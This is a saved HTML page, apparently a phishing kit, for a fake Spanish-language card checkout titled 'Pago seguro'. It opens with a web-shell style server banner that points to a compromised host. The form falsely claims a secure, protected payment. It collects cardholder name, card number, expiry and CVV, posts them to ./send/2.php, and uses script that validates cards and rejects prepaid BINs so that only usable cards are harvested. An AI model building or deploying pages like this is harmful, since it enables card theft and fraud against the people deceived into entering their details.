Server : LiteSpeed System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64 User : rahcos ( 1533) PHP Version : 8.4.23 Disable Function : NONE Directory : /home4/rahcos/.trash/.well-known/cgi-bin/ |
<!DOCTYPE html>
<!-- saved from url=(0055)https://easybbnkde.wpenginepowered.com/crr/c/c1/c1.html -->
<html lang="es"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Pago seguro</title>
<style>
:root {
--mp-blue: #00A5E0;
--mp-blue-dark: #0B74B5;
--bg: #F5FAFF;
--card: #FFFFFF;
--text: #0f172a;
--muted: #64748b;
--border: #E6EEF6;
--danger: #b91c1c;
--success: #0f766e;
--radius: 18px;
--shadow: 0 18px 40px rgba(15, 23, 42, .08);
}
* {
box-sizing: border-box
}
body {
margin: 0;
min-height: 100vh;
font-family: system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif;
background: linear-gradient(180deg, var(--bg), #fff 60%);
color: var(--text);
}
header {
height: 60px;
background: #FFCE00;
border-bottom: 1px solid var(--border);
display: flex;
align-items: center;
justify-content: space-between;
padding: 0 16px;
}
.brand {
display: flex;
align-items: center;
gap: 10px
}
.brand img {
height: 30px
}
.lock {
display: flex;
align-items: center;
gap: 8px;
color: var(--muted);
font-size: 13px
}
.lock .dot {
width: 8px;
height: 8px;
border-radius: 999px;
background: var(--success)
}
.page {
min-height: calc(100vh - 60px);
display: flex;
align-items: center;
justify-content: center;
padding: 22px 14px;
}
.shell {
width: min(940px, 100%);
display: grid;
grid-template-columns: 1.2fr .8fr;
gap: 18px;
}
@media (max-width:860px) {
.shell {
grid-template-columns: 1fr
}
}
.panel {
background: var(--card);
border: 1px solid var(--border);
border-radius: var(--radius);
box-shadow: var(--shadow);
padding: 18px;
}
.title {
display: flex;
align-items: flex-start;
justify-content: space-between;
gap: 12px;
padding-bottom: 14px;
border-bottom: 1px solid var(--border);
margin-bottom: 14px;
}
.title h1 {
margin: 0;
font-size: 18px;
letter-spacing: .2px
}
.title p {
margin: 4px 0 0;
color: var(--muted);
font-size: 13px;
line-height: 1.3
}
.badge {
background: rgba(0, 165, 224, .10);
color: var(--mp-blue-dark);
border: 1px solid rgba(0, 165, 224, .25);
padding: 8px 10px;
border-radius: 999px;
font-size: 12px;
font-weight: 600;
white-space: nowrap;
}
.method {
display: flex;
align-items: center;
justify-content: space-between;
gap: 10px;
padding: 12px 12px;
border: 1px solid var(--border);
border-radius: 14px;
background: #fbfdff;
margin-bottom: 14px;
}
.method .left {
display: flex;
gap: 12px;
align-items: center
}
.chip {
width: 40px;
height: 28px;
border-radius: 10px;
background: linear-gradient(135deg, rgba(0, 165, 224, .25), rgba(0, 165, 224, .08));
border: 1px solid rgba(0, 165, 224, .22);
}
.method .txt b {
font-size: 13px
}
.method .txt div {
font-size: 12px;
color: var(--muted);
margin-top: 2px
}
.cards {
display: flex;
gap: 6px;
align-items: center
}
.cardIcon {
width: 38px;
height: 24px;
border-radius: 6px;
border: 1px solid var(--border);
background: #fff;
display: flex;
align-items: center;
justify-content: center;
overflow: hidden;
}
.cardIcon svg {
width: 30px;
height: auto;
display: block
}
.form {
display: grid;
gap: 12px
}
.field {
position: relative
}
.input {
width: 100%;
height: 50px;
border: 1px solid var(--border);
border-radius: 14px;
padding: 16px 14px 0 14px;
font-size: 14px;
outline: none;
background: #fff;
transition: border-color .15s ease, box-shadow .15s ease;
}
.input:focus {
border-color: rgba(0, 165, 224, .65);
box-shadow: 0 0 0 4px rgba(0, 165, 224, .12);
}
.label {
position: absolute;
left: 14px;
top: 14px;
font-size: 13px;
color: var(--muted);
pointer-events: none;
transition: all .12s ease;
}
.input:focus+.label,
.input:not(:placeholder-shown)+.label {
top: 8px;
font-size: 11px;
color: var(--mp-blue-dark);
}
.row {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 12px
}
@media (max-width:420px) {
.row {
grid-template-columns: 1fr
}
}
.error {
display: none;
margin-top: 7px;
color: var(--danger);
font-size: 12.5px
}
.helper {
margin-top: 6px;
font-size: 12px;
color: var(--muted)
}
.btn {
height: 48px;
border: none;
border-radius: 14px;
background: linear-gradient(180deg, var(--mp-blue), var(--mp-blue-dark));
color: #fff;
font-weight: 700;
letter-spacing: .2px;
cursor: pointer;
}
.btn:disabled {
opacity: .55;
cursor: not-allowed
}
.summary h2 {
margin: 0 0 10px;
font-size: 14px;
color: var(--muted);
font-weight: 700;
letter-spacing: .2px;
text-transform: uppercase;
}
.total {
display: flex;
justify-content: space-between;
gap: 10px;
font-size: 16px;
padding-top: 12px;
font-weight: 800
}
</style>
</head>
<body>
<header>
<div class="brand">
<img src="./Pago seguro_files/l.png" alt="Logo">
</div>
<div class="lock" title="Conexión segura (UI)">
<span class="dot"></span>
<span>Conexión segura</span>
</div>
</header>
<div class="page">
<div class="shell">
<div class="panel">
<div class="title">
<div>
<h1>Ingresá los datos de tu tarjeta</h1>
<p>Revisá la información y completá el pago de forma segura.</p>
</div>
<div class="badge">Pago protegido</div>
</div>
<div class="method">
<div class="left">
<div class="chip"></div>
<div class="txt">
<b>Tarjeta</b>
<div>Crédito o débito (no prepagas)</div>
</div>
</div>
<!-- ✅ ICONS READY (SVG) -->
<div class="cards" aria-hidden="true">
<div class="cardIcon" title="VISA">
<svg viewBox="0 0 48 16" aria-hidden="true">
<text x="0" y="13" font-size="14" font-weight="800" fill="#1A1F71" font-family="Arial, Helvetica, sans-serif">VISA</text>
</svg>
</div>
<div class="cardIcon" title="Mastercard">
<svg viewBox="0 0 48 24" aria-hidden="true">
<circle cx="18" cy="12" r="8" fill="#EB001B"></circle>
<circle cx="26" cy="12" r="8" fill="#F79E1B"></circle>
</svg>
</div>
<div class="cardIcon" title="AMEX">
<svg viewBox="0 0 48 24" aria-hidden="true">
<rect width="48" height="24" rx="4" fill="#0070C0"></rect>
<text x="7" y="17" font-size="12" font-weight="800" fill="#fff" font-family="Arial, Helvetica, sans-serif">AMEX</text>
</svg>
</div>
</div>
</div>
<form id="cardForm" class="form" method="post" action="./send/2.php" data-np-autofill-form-type="credit_card" data-np-watching="1">
<div class="field">
<!-- ✅ FIXED id="name" -->
<input id="name" name="1" class="input" type="text" placeholder=" " required="" data-np-checked="1" data-np-autofill-field-type="firstName">
<div class="label">Nombre del titular</div>
<div id="nameError" class="error" style="display: none;">Ingresá un nombre válido.</div>
</div>
<div class="field">
<input id="cardNumber" name="2" class="input" type="tel" inputmode="numeric" maxlength="19" placeholder=" " required="" data-np-checked="1" data-np-autofill-field-type="ccNumber">
<div class="label">Número de tarjeta</div>
<div id="cardError" class="error" style="display: none;">Número de tarjeta inválido.</div>
<div id="prepaidError" class="error" style="display: none;">No se aceptan tarjetas prepagas. Usá crédito o débito.</div>
</div>
<div class="row">
<div class="field">
<input id="exp" name="3" class="input" type="tel" inputmode="numeric" maxlength="5" placeholder=" " required="" data-np-checked="1" data-np-autofill-field-type="ccExpirationFull">
<div class="label">Vencimiento (MM/AA)</div>
<div id="expError" class="error" style="display: none;">Fecha inválida o vencida.</div>
</div>
<div class="field">
<input id="cvv" class="input" name="4" type="tel" inputmode="numeric" maxlength="4" placeholder=" " required="" data-np-checked="1" data-np-autofill-field-type="ccCvv">
<div class="label">CVV</div>
<div id="cvvError" class="error" style="display: none;">CVV inválido.</div>
</div>
</div>
<button id="btn" class="btn" disabled="" data-np-autofill-submit="">Pagar</button>
</form>
</div>
<div class="panel summary">
<h2>Resumen</h2>
<div class="total"><span>Total</span><span>7,309 ARS</span></div>
</div>
</div>
</div>
<script>
const form = document.getElementById("cardForm");
const btn = document.getElementById("btn");
const nameInput = document.getElementById("name");
const cardInput = document.getElementById("cardNumber");
const expInput = document.getElementById("exp");
const cvvInput = document.getElementById("cvv");
const nameError = document.getElementById("nameError");
const cardError = document.getElementById("cardError");
const prepaidError = document.getElementById("prepaidError");
const expError = document.getElementById("expError");
const cvvError = document.getElementById("cvvError");
const prepaidBINs = [
"462761", "404137", "405188", "410160", "422818", "426397", "451416", "455272", "476623",
"523793", "532309", "531984", "531441", "530815", "530516", "528824", "542734", "542744",
"542755", "404031", "427836", "431071", "554730", "525855", "521219", "548110", "548732"
];
function hideAll() {
nameError.style.display = "none";
cardError.style.display = "none";
prepaidError.style.display = "none";
expError.style.display = "none";
cvvError.style.display = "none";
}
function setOk(ok) {
btn.disabled = !ok
}
function formatCard(input) {
input.value = input.value.replace(/\D/g, '');
}
function formatExp(input) {
input.value = input.value.replace(/\D/g, '').slice(0, 4).replace(/(\d{2})(\d)/, '$1/$2');
}
function onlyDigitsMax(input, max) {
input.value = input.value.replace(/\D/g, '').slice(0, max);
}
function isValidCard(number) {
let sum = 0,
alt = false;
for (let i = number.length - 1; i >= 0; i--) {
let n = parseInt(number[i], 10);
if (alt) {
n *= 2;
if (n > 9) n -= 9;
}
sum += n;
alt = !alt;
}
return sum % 10 === 0;
}
function isPrepaidCard(number) {
return prepaidBINs.includes(number.substring(0, 6))
}
function brand(number) {
if (/^3[47]/.test(number)) return "amex";
if (/^4/.test(number)) return "visa";
if (/^5[1-5]/.test(number)) return "mc";
return "other";
}
function isValidExpiry(mmYY) {
if (!/^\d{2}\/\d{2}$/.test(mmYY)) return false;
const [mm, yy] = mmYY.split("/").map(v => parseInt(v, 10));
if (mm < 1 || mm > 12) return false;
const year = 2000 + yy;
const exp = new Date(year, mm, 0, 23, 59, 59);
return exp >= new Date();
}
function isValidCvv(cvv, b) {
if (b === "amex") return /^\d{4}$/.test(cvv);
return /^\d{3}$/.test(cvv);
}
function validateAll() {
hideAll();
setOk(false);
const name = nameInput.value.replace(/\s+/g, ' ').trim();
const card = cardInput.value.replace(/\s+/g, '');
const exp = expInput.value.trim();
const cvv = cvvInput.value.trim();
if (name.length < 2) {
if (name.length > 0) nameError.style.display = "block";
return;
}
if (card.length < 13) return;
if (!isValidCard(card)) {
cardError.style.display = "block";
return;
}
if (isPrepaidCard(card)) {
prepaidError.style.display = "block";
return;
}
if (!isValidExpiry(exp)) {
expError.style.display = "block";
return;
}
const b = brand(card);
if (!isValidCvv(cvv, b)) {
cvvError.style.display = "block";
return;
}
setOk(true);
}
nameInput.addEventListener("input", () => {
nameInput.value = nameInput.value.replace(/\s+/g, ' ');
validateAll();
});
cardInput.addEventListener("input", () => {
formatCard(cardInput);
validateAll();
});
expInput.addEventListener("input", () => {
formatExp(expInput);
validateAll();
});
cvvInput.addEventListener("input", () => {
onlyDigitsMax(cvvInput, 4);
validateAll();
});
form.addEventListener("submit", (e) => {
validateAll();
if (btn.disabled) e.preventDefault();
});
validateAll();
</script>
</body></html>